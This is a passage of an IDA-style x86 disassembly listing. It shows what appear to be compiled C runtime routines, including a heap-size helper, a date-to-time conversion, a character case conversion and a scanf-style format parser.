jmp loc_42064E
sub_41D1FC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D252 proc near ; CODE XREF: sub_417E23+23p
; sub_417E23:loc_417E8Ep ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4238B8
push offset sub_41F4A0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, off_43AE04
test eax, eax
jz short loc_41D29A
mov [ebp+var_4], 1
call eax ; sub_41D1FC
jmp short loc_41D296
; ---------------------------------------------------------------------------
loc_41D28F: ; DATA XREF: .data:004238C8o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41D293: ; DATA XREF: .data:004238CCo
mov esp, [ebp+var_18]
loc_41D296: ; CODE XREF: sub_41D252+3Bj
and [ebp+var_4], 0
loc_41D29A: ; CODE XREF: sub_41D252+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_41D2A3: ; DATA XREF: .data:004238C0o
jmp sub_41D1FC
sub_41D252 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D2A8 proc near ; CODE XREF: sub_418303+7p
; sub_418303+26p
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_48AB28
push esi
cmp eax, 3
jnz short loc_41D2D1
mov esi, [ebp+arg_0]
push esi
call sub_41AA89
test eax, eax
pop ecx
jz short loc_41D2CE
mov eax, [esi-4]
sub eax, 9
jmp short loc_41D306
; ---------------------------------------------------------------------------
loc_41D2CE: ; CODE XREF: sub_41D2A8+1Cj
push esi
jmp short loc_41D2F8
; ---------------------------------------------------------------------------
loc_41D2D1: ; CODE XREF: sub_41D2A8+Ej
cmp eax, 2
jnz short loc_41D2F5
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
push [ebp+arg_0]
call sub_41B7E4
add esp, 0Ch
test eax, eax
jz short loc_41D2F5
movzx eax, byte ptr [eax]
shl eax, 4
jmp short loc_41D306
; ---------------------------------------------------------------------------
loc_41D2F5: ; CODE XREF: sub_41D2A8+2Cj
; sub_41D2A8+43j
push [ebp+arg_0]
loc_41D2F8: ; CODE XREF: sub_41D2A8+27j
push 0
push dword_48AB24
call dword_4231C0 ; RtlSizeHeap
loc_41D306: ; CODE XREF: sub_41D2A8+24j
; sub_41D2A8+4Bj
pop esi
leave
retn
sub_41D2A8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D309 proc near ; CODE XREF: sub_4183B1+C9p
var_24 = byte ptr -24h
var_1C = dword ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_0]
sub ebx, 76Ch
cmp ebx, 46h
jl loc_41D3C5
cmp ebx, 8Ah
jg loc_41D3C5
push esi
push edi
mov edi, [ebp+arg_4]
mov esi, dword_43B534[edi*4]
add esi, [ebp+arg_8]
test bl, 3
jnz short loc_41D348
cmp edi, 2
jle short loc_41D348
inc esi
loc_41D348: ; CODE XREF: sub_41D309+37j
; sub_41D309+3Cj
call sub_420665
mov eax, ebx
lea ecx, [ebx-1]
imul eax, 16Dh
sar ecx, 2
mov edx, esi
mov [ebp+var_8], esi
add edx, ecx
mov [ebp+var_10], ebx
add eax, edx
mov edx, [ebp+arg_14]
lea ecx, [eax+eax*2]
mov eax, [ebp+arg_C]
mov [ebp+var_1C], eax
lea ecx, [eax+ecx*8]
imul ecx, 3Ch
add ecx, [ebp+arg_10]
imul ecx, 3Ch
add ecx, dword_43B450
dec edi
cmp [ebp+arg_18], 1
mov [ebp+var_14], edi
pop edi
pop esi
lea ecx, [ecx+edx+7C558180h]
mov [ebp+arg_0], ecx
jz short loc_41D3BB
cmp [ebp+arg_18], 0FFFFFFFFh
jnz short loc_41D3C1
cmp dword_43B454, 0
jz short loc_41D3C1
lea eax, [ebp+var_24]
push eax
call sub_4208D8
pop ecx
mov ecx, [ebp+arg_0]
test eax, eax
jz short loc_41D3C1
loc_41D3BB: ; CODE XREF: sub_41D309+90j
add ecx, dword_43B458
loc_41D3C1: ; CODE XREF: sub_41D309+96j
; sub_41D309+9Fj ...
mov eax, ecx
jmp short loc_41D3C8
; ---------------------------------------------------------------------------
loc_41D3C5: ; CODE XREF: sub_41D309+13j
; sub_41D309+1Fj
or eax, 0FFFFFFFFh
loc_41D3C8: ; CODE XREF: sub_41D309+BAj
pop ebx
leave
retn
sub_41D309 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D3CB proc near ; CODE XREF: sub_418533+12Bp
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_489540, 0
push ebx
jnz short loc_41D3F6
mov eax, [ebp+arg_0]
cmp eax, 61h
jl loc_41D494
cmp eax, 7Ah
jg loc_41D494
sub eax, 20h
jmp loc_41D494
; ---------------------------------------------------------------------------
loc_41D3F6: ; CODE XREF: sub_41D3CB+Cj
mov ebx, [ebp+arg_0]
cmp ebx, 100h
jge short loc_41D429
cmp dword_438C8C, 1
jle short loc_41D416
push 2
push ebx
call sub_41A342
pop ecx
pop ecx
jmp short loc_41D421
; ---------------------------------------------------------------------------
loc_41D416: ; CODE XREF: sub_41D3CB+3Dj
mov eax, off_438A80
mov al, [eax+ebx*2]
and eax, 2
loc_41D421: ; CODE XREF: sub_41D3CB+49j
test eax, eax
jnz short loc_41D429
loc_41D425: ; CODE XREF: sub_41D3CB+AFj
mov eax, ebx
jmp short loc_41D494
; ---------------------------------------------------------------------------
loc_41D429: ; CODE XREF: sub_41D3CB+34j
; sub_41D3CB+58j
mov edx, off_438A80
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_41D44C
and byte ptr [ebp+arg_0+2], 0
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
push 2
jmp short loc_41D455
; ---------------------------------------------------------------------------
loc_41D44C: ; CODE XREF: sub_41D3CB+71j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
push 1
loc_41D455: ; CODE XREF: sub_41D3CB+7Fj
pop eax
lea ecx, [ebp+var_4]
push 1
push 0
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push 200h
push dword_489540
call sub_41E409
add esp, 20h
test eax, eax
jz short loc_41D425
cmp eax, 1
jnz short loc_41D487
movzx eax, [ebp+var_4]
jmp short loc_41D494
; ---------------------------------------------------------------------------
loc_41D487: ; CODE XREF: sub_41D3CB+B4j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_41D494: ; CODE XREF: sub_41D3CB+14j
; sub_41D3CB+1Dj ...
pop ebx
leave
retn
sub_41D3CB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D497 proc near ; CODE XREF: sub_418752+2Ap
var_1C4 = byte ptr -1C4h
var_1C3 = byte ptr -1C3h
var_64 = byte ptr -64h
var_59 = byte ptr -59h
var_44 = dword ptr -44h
var_3E = word ptr -3Eh
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_37 = byte ptr -37h
var_35 = byte ptr -35h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C4h
and [ebp+var_15], 0
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
push edi
mov al, [esi]
mov [ebp+var_4], ebx
test al, al
mov [ebp+var_34], ebx
jz loc_41DE9D
mov edi, [ebp+arg_0]
jmp short loc_41D4C6
; ---------------------------------------------------------------------------
loc_41D4C1: ; CODE XREF: sub_41D497+9CEj
mov edi, [ebp+arg_0]
xor ebx, ebx
loc_41D4C6: ; CODE XREF: sub_41D497+28j
cmp dword_438C8C, 1
jle short loc_41D4DE
movzx eax, al
push 8
push eax
call sub_41A342
pop ecx
pop ecx
jmp short loc_41D4ED
; ---------------------------------------------------------------------------
loc_41D4DE: ; CODE XREF: sub_41D497+36j
mov ecx, off_438A80
movzx eax, al
mov al, [ecx+eax*2]
and eax, 8
loc_41D4ED: ; CODE XREF: sub_41D497+45j
cmp eax, ebx
jz short loc_41D527
dec [ebp+var_4]
push edi
lea eax, [ebp+var_4]
push edi
push eax
call sub_41DF24
pop ecx
pop ecx
push eax
call sub_41DF0D
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_420C8C
add esp, 0Ch
loc_41D515: ; CODE XREF: sub_41D497+8Ej
test eax, eax
jz short loc_41D527
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_420C8C
pop ecx
jmp short loc_41D515
; ---------------------------------------------------------------------------
loc_41D527: ; CODE XREF: sub_41D497+58j
; sub_41D497+80j
cmp byte ptr [esi], 25h
jnz loc_41DE09
and [ebp+var_35], 0
and [ebp+var_18], 0
and [ebp+var_17], 0
and [ebp+var_E], 0
and [ebp+var_F], 0
and [ebp+var_16], 0
xor edi, edi
and [ebp+var_5], 0
mov [ebp+var_1C], ebx
mov [ebp+var_20], ebx
mov [ebp+var_C], ebx
mov [ebp+var_D], 1
mov [ebp+var_30], ebx
loc_41D55E: ; CODE XREF: sub_41D497+172j
movzx ebx, byte ptr [esi+1]
inc esi
cmp dword_438C8C, 1
jle short loc_41D57B
movzx eax, bl
push 4
push eax
call sub_41A342
pop ecx
pop ecx
jmp short loc_41D58A
; ---------------------------------------------------------------------------
loc_41D57B: ; CODE XREF: sub_41D497+D3j
mov ecx, off_438A80
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_41D58A: ; CODE XREF: sub_41D497+E2j
test eax, eax
jz short loc_41D5A0
mov eax, [ebp+var_C]
inc [ebp+var_20]
lea eax, [eax+eax*4]
lea eax, [ebx+eax*2-30h]
mov [ebp+var_C], eax
jmp short loc_41D605
; ---------------------------------------------------------------------------
loc_41D5A0: ; CODE XREF: sub_41D497+F5j
cmp ebx, 4Eh
jg short loc_41D5E3
jz short loc_41D605
cmp ebx, 2Ah
jz short loc_41D5DE
cmp ebx, 46h
jz short loc_41D605
cmp ebx, 49h
jz short loc_41D5C0
cmp ebx, 4Ch
jnz short loc_41D5F2
inc [ebp+var_D]
jmp short loc_41D605
; ---------------------------------------------------------------------------
loc_41D5C0: ; CODE XREF: sub_41D497+11Dj
cmp byte ptr [esi+1], 36h
jnz short loc_41D5F2
cmp byte ptr [esi+2], 34h
lea eax, [esi+2]
jnz short loc_41D5F2
inc [ebp+var_30]
and [ebp+var_28], 0
and [ebp+var_24], 0
mov esi, eax
jmp short loc_41D605
; ---------------------------------------------------------------------------
loc_41D5DE: ; CODE XREF: sub_41D497+113j
inc [ebp+var_E]
jmp short loc_41D605
; ---------------------------------------------------------------------------
loc_41D5E3: ; CODE XREF: sub_41D497+10Cj
cmp ebx, 68h
jz short loc_41D5FF
cmp ebx, 6Ch
jz short loc_41D5F7
cmp ebx, 77h
jz short loc_41D5FA
loc_41D5F2: ; CODE XREF: sub_41D497+122j
; sub_41D497+12Dj ...
inc [ebp+var_F]
jmp short loc_41D605
; ---------------------------------------------------------------------------
loc_41D5F7: ; CODE XREF: sub_41D497+154j
inc [ebp+var_D]
loc_41D5FA: ; CODE XREF: sub_41D497+159j
inc [ebp+var_5]
jmp short loc_41D605
; ---------------------------------------------------------------------------
loc_41D5FF: ; CODE XREF: sub_41D497+14Fj
dec [ebp+var_D]
dec [ebp+var_5]
loc_41D605: ; CODE XREF: sub_41D497+107j
; sub_41D497+10Ej ...
cmp [ebp+var_F], 0
jz loc_41D55E
cmp [ebp+var_E], 0
mov [ebp+arg_4], esi
jnz short loc_41D62A
mov eax, [ebp+arg_8]
mov [ebp+var_44], eax
add eax, 4
mov [ebp+arg_8], eax
mov eax, [eax-4]
mov [ebp+var_2C], eax
loc_41D62A: ; CODE XREF: sub_41D497+17Fj
and [ebp+var_F], 0
cmp [ebp+var_5], 0
jnz short loc_41D648
mov al, [esi]
cmp al, 53h
jz short loc_41D644
cmp al, 43h
jz short loc_41D644
or [ebp+var_5], 0FFh
jmp short loc_41D648
; ---------------------------------------------------------------------------
loc_41D644: ; CODE XREF: sub_41D497+1A1j
; sub_41D497+1A5j
mov [ebp+var_5], 1
loc_41D648: ; CODE XREF: sub_41D497+19Bj
; sub_41D497+1ABj
mov ebx, [ebp+arg_4]
movzx esi, byte ptr [ebx]
or esi, 20h
cmp esi, 6Eh
mov [ebp+var_3C], esi
jz short loc_41D681
cmp esi, 63h
jz short loc_41D672
cmp esi, 7Bh
jz short loc_41D672
push [ebp+arg_0]
lea eax, [ebp+var_4]
push eax
call sub_41DF24
pop ecx
jmp short loc_41D67D
; ---------------------------------------------------------------------------
loc_41D672: ; CODE XREF: sub_41D497+1C5j
; sub_41D497+1CAj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41DEF3
loc_41D67D: ; CODE XREF: sub_41D497+1D9j
pop ecx
mov [ebp+var_14], eax
loc_41D681: ; CODE XREF: sub_41D497+1C0j
xor eax, eax
cmp [ebp+var_20], eax
jz short loc_41D691
cmp [ebp+var_C], eax
jz loc_41DE6D
loc_41D691: ; CODE XREF: sub_41D497+1EFj
cmp esi, 6Fh
jg loc_41D8F8
jz loc_41DBAA
cmp esi, 63h
jz loc_41D8D5
cmp esi, 64h
jz loc_41DBAA
jle loc_41D922
cmp esi, 67h
jle short loc_41D6F5
cmp esi, 69h
jz short loc_41D6DD
cmp esi, 6Eh
jnz loc_41D922
cmp [ebp+var_E], 0
mov edi, [ebp+var_4]
jz loc_41DDD8
jmp loc_41DDFE
; ---------------------------------------------------------------------------
loc_41D6DD: ; CODE XREF: sub_41D497+229j
push 64h
pop esi
loc_41D6E0: ; CODE XREF: sub_41D497+480j
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz loc_41D96A
mov [ebp+var_17], 1
jmp loc_41D96F
; ---------------------------------------------------------------------------
loc_41D6F5: ; CODE XREF: sub_41D497+224j
mov ebx, [ebp+var_14]
lea esi, [ebp+var_1C4]
cmp ebx, 2Dh
jnz short loc_41D711
mov [ebp+var_1C4], bl
lea esi, [ebp+var_1C3]
jmp short loc_41D716
; ---------------------------------------------------------------------------
loc_41D711: ; CODE XREF: sub_41D497+26Aj
cmp ebx, 2Bh
jnz short loc_41D72D
loc_41D716: ; CODE XREF: sub_41D497+278j
mov edi, [ebp+arg_0]
dec [ebp+var_C]
inc [ebp+var_4]
push edi
call sub_41DEF3
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_41D730
; ---------------------------------------------------------------------------
loc_41D72D: ; CODE XREF: sub_41D497+27Dj
mov edi, [ebp+arg_0]
loc_41D730: ; CODE XREF: sub_41D497+294j
cmp [ebp+var_20], 0
jz short loc_41D73F
cmp [ebp+var_C], 15Dh
jle short loc_41D746
loc_41D73F: ; CODE XREF: sub_41D497+29Dj
mov [ebp+var_C], 15Dh
loc_41D746: ; CODE XREF: sub_41D497+2A6j
; sub_41D497+2F2j
cmp dword_438C8C, 1
jle short loc_41D75B
push 4
push ebx
call sub_41A342
pop ecx
pop ecx
jmp short loc_41D766
; ---------------------------------------------------------------------------
loc_41D75B: ; CODE XREF: sub_41D497+2B6j
mov eax, off_438A80
mov al, [eax+ebx*2]
and eax, 4
loc_41D766: ; CODE XREF: sub_41D497+2C2j
test eax, eax
jz short loc_41D78B
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_41D78B
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_41DEF3
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_41D746
; ---------------------------------------------------------------------------
loc_41D78B: ; CODE XREF: sub_41D497+2D1j
; sub_41D497+2DBj
cmp byte_438C90, bl
jnz short loc_41D7F9
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_41D7F9
inc [ebp+var_4]
push edi
call sub_41DEF3
mov ebx, eax
mov al, byte_438C90
mov [esi], al
pop ecx
mov [ebp+var_14], ebx
inc esi
loc_41D7B4: ; CODE XREF: sub_41D497+360j
cmp dword_438C8C, 1
jle short loc_41D7C9
push 4
push ebx
call sub_41A342
pop ecx
pop ecx
jmp short loc_41D7D4
; ---------------------------------------------------------------------------
loc_41D7C9: ; CODE XREF: sub_41D497+324j
mov eax, off_438A80
mov al, [eax+ebx*2]
and eax, 4
loc_41D7D4: ; CODE XREF: sub_41D497+330j
test eax, eax
jz short loc_41D7F9
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_41D7F9
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_41DEF3
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_41D7B4
; ---------------------------------------------------------------------------
loc_41D7F9: ; CODE XREF: sub_41D497+2FAj
; sub_41D497+304j ...
cmp [ebp+var_1C], 0
jz loc_41D891
cmp ebx, 65h
jz short loc_41D811
cmp ebx, 45h
jnz loc_41D891
loc_41D811: ; CODE XREF: sub_41D497+36Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_41D891
mov byte ptr [esi], 65h
inc esi
inc [ebp+var_4]
push edi
call sub_41DEF3
mov ebx, eax
pop ecx
cmp ebx, 2Dh
mov [ebp+var_14], ebx
jnz short loc_41D838
mov [esi], al
inc esi
jmp short loc_41D83D
; ---------------------------------------------------------------------------
loc_41D838: ; CODE XREF: sub_41D497+39Aj
cmp ebx, 2Bh
jnz short loc_41D85B
loc_41D83D: ; CODE XREF: sub_41D497+39Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jnz short loc_41D84C
and [ebp+var_C], eax
jmp short loc_41D85B
; ---------------------------------------------------------------------------
loc_41D84C: ; CODE XREF: sub_41D497+3AEj
; sub_41D497+3F8j
inc [ebp+var_4]
push edi
call sub_41DEF3
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_41D85B: ; CODE XREF: sub_41D497+3A4j
; sub_41D497+3B3j
cmp dword_438C8C, 1
jle short loc_41D870
push 4
push ebx
call sub_41A342
pop ecx
pop ecx
jmp short loc_41D87B
; ---------------------------------------------------------------------------
loc_41D870: ; CODE XREF: sub_41D497+3CBj
mov eax, off_438A80
mov al, [eax+ebx*2]
and eax, 4
loc_41D87B: ; CODE XREF: sub_41D497+3D7j
test eax, eax
jz short loc_41D891
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_41D891
inc [ebp+var_1C]
mov [esi], bl
inc esi
jmp short loc_41D84C
; ---------------------------------------------------------------------------
loc_41D891: ; CODE XREF: sub_41D497+366j
; sub_41D497+374j ...
dec [ebp+var_4]
push edi
push ebx
call sub_41DF0D
cmp [ebp+var_1C], 0
pop ecx
pop ecx
jz loc_41DE9D
cmp [ebp+var_E], 0
jnz loc_41DDFE
inc [ebp+var_34]
and byte ptr [esi], 0
lea eax, [ebp+var_1C4]
push eax
movsx eax, [ebp+var_D]
push [ebp+var_2C]
dec eax
push eax
call off_43ADE8
add esp, 0Ch
jmp loc_41DDFE
; ---------------------------------------------------------------------------
loc_41D8D5: ; CODE XREF: sub_41D497+20Cj
cmp [ebp+var_20], eax
jnz short loc_41D8E4
inc [ebp+var_C]
mov [ebp+var_20], 1
loc_41D8E4: ; CODE XREF: sub_41D497+441j
cmp [ebp+var_5], 0
jle short loc_41D8EE
mov [ebp+var_16], 1
loc_41D8EE: ; CODE XREF: sub_41D497+451j
mov edi, offset dword_43AE10
jmp loc_41DA03
; ---------------------------------------------------------------------------
loc_41D8F8: ; CODE XREF: sub_41D497+1FDj
mov eax, esi
sub eax, 70h
jz loc_41DBA6
sub eax, 3
jz loc_41D9F4
dec eax
dec eax
jz loc_41DBAA
sub eax, 3
jz loc_41D6E0
sub eax, 3
jz short loc_41D946
loc_41D922: ; CODE XREF: sub_41D497+21Bj
; sub_41D497+22Ej
movzx eax, byte ptr [ebx]
cmp eax, [ebp+var_14]
jnz loc_41DE6D
dec [ebp+var_15]
cmp [ebp+var_E], 0
jnz loc_41DDFE
mov eax, [ebp+var_44]
mov [ebp+arg_8], eax
jmp loc_41DDFE
; ---------------------------------------------------------------------------
loc_41D946: ; CODE XREF: sub_41D497+489j
cmp [ebp+var_5], 0
jle short loc_41D950
mov [ebp+var_16], 1
loc_41D950: ; CODE XREF: sub_41D497+4B3j
mov edi, [ebp+arg_4]
inc edi
mov [ebp+arg_4], edi
cmp byte ptr [edi], 5Eh
jnz loc_41DA07
mov eax, edi
lea edi, [eax+1]
jmp loc_41DA03
; ---------------------------------------------------------------------------
loc_41D96A: ; CODE XREF: sub_41D497+24Fj
cmp ebx, 2Bh
jnz short loc_41D991
loc_41D96F: ; CODE XREF: sub_41D497+259j
dec [ebp+var_C]
jnz short loc_41D980
cmp [ebp+var_20], 0
jz short loc_41D980
mov [ebp+var_F], 1
jmp short loc_41D991
; ---------------------------------------------------------------------------
loc_41D980: ; CODE XREF: sub_41D497+4DBj
; sub_41D497+4E1j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41DEF3
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_41D991: ; CODE XREF: sub_41D497+4D6j
; sub_41D497+4E7j
cmp ebx, 30h
jnz loc_41DBDF
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41DEF3
mov ebx, eax
pop ecx
cmp bl, 78h
mov [ebp+var_14], ebx
jz short loc_41D9DF
cmp bl, 58h
jz short loc_41D9DF
cmp esi, 78h
mov [ebp+var_1C], 1
jz short loc_41D9C9
push 6Fh
loc_41D9C3: ; CODE XREF: sub_41D497+55Bj
pop esi
jmp loc_41DBDF
; ---------------------------------------------------------------------------
loc_41D9C9: ; CODE XREF: sub_41D497+528j
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_41DF0D
pop ecx
pop ecx
push 30h
pop ebx
jmp loc_41DBDC
; ---------------------------------------------------------------------------
loc_41D9DF: ; CODE XREF: sub_41D497+517j
; sub_41D497+51Cj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41DEF3
pop ecx
mov ebx, eax
mov [ebp+var_14], ebx
push 78h
jmp short loc_41D9C3
; ---------------------------------------------------------------------------
loc_41D9F4: ; CODE XREF: sub_41D497+46Fj
cmp [ebp+var_5], 0
jle short loc_41D9FE
mov [ebp+var_16], 1
loc_41D9FE: ; CODE XREF: sub_41D497+561j
mov edi, offset dword_43AE08
loc_41DA03: ; CODE XREF: sub_41D497+45Cj
; sub_41D497+4CEj
or [ebp+var_18], 0FFh
loc_41DA07: ; CODE XREF: sub_41D497+4C3j
push 20h
lea eax, [ebp+var_64]
push 0
push eax
call sub_417030
add esp, 0Ch
cmp [ebp+var_3C], 7Bh
jnz short loc_41DA2B
cmp byte ptr [edi], 5Dh
jnz short loc_41DA2B
mov dl, 5Dh
inc edi
mov [ebp+var_59], 20h
jmp short loc_41DA2E
; ---------------------------------------------------------------------------
loc_41DA2B: ; CODE XREF: sub_41D497+584j
; sub_41D497+589j
mov dl, [ebp+var_35]
loc_41DA2E: ; CODE XREF: sub_41D497+592j
; sub_41D497+5E1j ...
mov al, [edi]
cmp al, 5Dh
jz short loc_41DA93
inc edi
cmp al, 2Dh
jnz short loc_41DA7A
test dl, dl
jz short loc_41DA7A
mov cl, [edi]
cmp cl, 5Dh
jz short loc_41DA7A
inc edi
cmp dl, cl
jnb short loc_41DA4D
mov al, cl
jmp short loc_41DA51
; ---------------------------------------------------------------------------
loc_41DA4D: ; CODE XREF: sub_41D497+5B0j
mov al, dl
mov dl, cl
loc_41DA51: ; CODE XREF: sub_41D497+5B4j
cmp dl, al
ja short loc_41DA76
movzx edx, dl
movzx esi, al
sub esi, edx
inc esi
loc_41DA5E: ; CODE XREF: sub_41D497+5DDj
mov ecx, edx
mov eax, edx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
inc edx
dec esi
jnz short loc_41DA5E
loc_41DA76: ; CODE XREF: sub_41D497+5BCj
xor dl, dl
jmp short loc_41DA2E
; ---------------------------------------------------------------------------
loc_41DA7A: ; CODE XREF: sub_41D497+5A0j
; sub_41D497+5A4j ...
movzx ecx, al
mov dl, al
mov eax, ecx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
jmp short loc_41DA2E
; ---------------------------------------------------------------------------
loc_41DA93: ; CODE XREF: sub_41D497+59Bj
cmp byte ptr [edi], 0
jz loc_41DE9D
cmp [ebp+var_3C], 7Bh
jnz short loc_41DAA5
mov [ebp+arg_4], edi
loc_41DAA5: ; CODE XREF: sub_41D497+609j
mov edi, [ebp+arg_0]
mov esi, [ebp+var_2C]
dec [ebp+var_4]
push edi
push [ebp+var_14]
mov [ebp+var_30], esi
call sub_41DF0D
pop ecx
pop ecx
loc_41DABC: ; CODE XREF: sub_41D497+6BCj
; sub_41D497+6C4j
cmp [ebp+var_20], 0
jz short loc_41DAD0
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz loc_41DB6C
loc_41DAD0: ; CODE XREF: sub_41D497+629j
inc [ebp+var_4]
push edi
call sub_41DEF3
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+var_14], eax
jz short loc_41DB60
mov ecx, eax
push 1
and ecx, 7
pop edx
movsx ebx, [ebp+var_18]
shl edx, cl
mov ecx, eax
sar ecx, 3
movsx ecx, [ebp+ecx+var_64]
xor ecx, ebx
test edx, ecx
jz short loc_41DB60
cmp [ebp+var_E], 0
jnz short loc_41DB58
cmp [ebp+var_16], 0
jz short loc_41DB4D
mov ecx, off_438A80
mov [ebp+var_38], al
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_41DB2C
inc [ebp+var_4]
push edi
call sub_41DEF3
pop ecx
mov [ebp+var_37], al
loc_41DB2C: ; CODE XREF: sub_41D497+686j
push dword_438C8C
lea eax, [ebp+var_38]
push eax
lea eax, [ebp+var_3E]
push eax
call sub_420BC4
mov ax, [ebp+var_3E]
add esp, 0Ch
mov [esi], ax
inc esi
inc esi
jmp short loc_41DB50
; ---------------------------------------------------------------------------
loc_41DB4D: ; CODE XREF: sub_41D497+673j
mov [esi], al
inc esi
loc_41DB50: ; CODE XREF: sub_41D497+6B4j
mov [ebp+var_2C], esi
jmp loc_41DABC
; ---------------------------------------------------------------------------
loc_41DB58: ; CODE XREF: sub_41D497+66Dj
inc [ebp+var_30]
jmp loc_41DABC
; ---------------------------------------------------------------------------
loc_41DB60: ; CODE XREF: sub_41D497+649j
; sub_41D497+667j
dec [ebp+var_4]
push edi
push eax
call sub_41DF0D
pop ecx
pop ecx
loc_41DB6C: ; CODE XREF: sub_41D497+633j
cmp [ebp+var_30], esi
jz loc_41DE9D
cmp [ebp+var_E], 0
jnz loc_41DDFE
inc [ebp+var_34]
cmp [ebp+var_3C], 63h
jz loc_41DDFE
cmp [ebp+var_16], 0
mov eax, [ebp+var_2C]
jz short loc_41DB9E
and word ptr [eax], 0
jmp loc_41DDFE
; ---------------------------------------------------------------------------
loc_41DB9E: ; CODE XREF: sub_41D497+6FCj
and byte ptr [eax], 0
jmp loc_41DDFE
; ---------------------------------------------------------------------------
loc_41DBA6: ; CODE XREF: sub_41D497+466j
mov [ebp+var_D], 1
loc_41DBAA: ; CODE XREF: sub_41D497+203j
; sub_41D497+215j ...
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz short loc_41DBB8
mov [ebp+var_17], 1
jmp short loc_41DBBD
; ---------------------------------------------------------------------------
loc_41DBB8: ; CODE XREF: sub_41D497+719j
cmp ebx, 2Bh
jnz short loc_41DBDF
loc_41DBBD: ; CODE XREF: sub_41D497+71Fj
dec [ebp+var_C]
jnz short loc_41DBCE
cmp [ebp+var_20], 0
jz short loc_41DBCE
mov [ebp+var_F], 1
jmp short loc_41DBDF
; ---------------------------------------------------------------------------
loc_41DBCE: ; CODE XREF: sub_41D497+729j
; sub_41D497+72Fj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41DEF3
pop ecx
mov ebx, eax
loc_41DBDC: ; CODE XREF: sub_41D497+543j
mov [ebp+var_14], ebx
loc_41DBDF: ; CODE XREF: sub_41D497+4FDj
; sub_41D497+52Dj ...
cmp [ebp+var_30], 0
jz loc_41DCF8
cmp [ebp+var_F], 0
jnz loc_41DCD6
loc_41DBF3: ; CODE XREF: sub_41D497+82Cj
cmp esi, 78h
jnz short loc_41DC47
cmp dword_438C8C, 1
jle short loc_41DC10
push 80h
push ebx
call sub_41A342
pop ecx
pop ecx
jmp short loc_41DC1D
; ---------------------------------------------------------------------------
loc_41DC10: ; CODE XREF: sub_41D497+768j
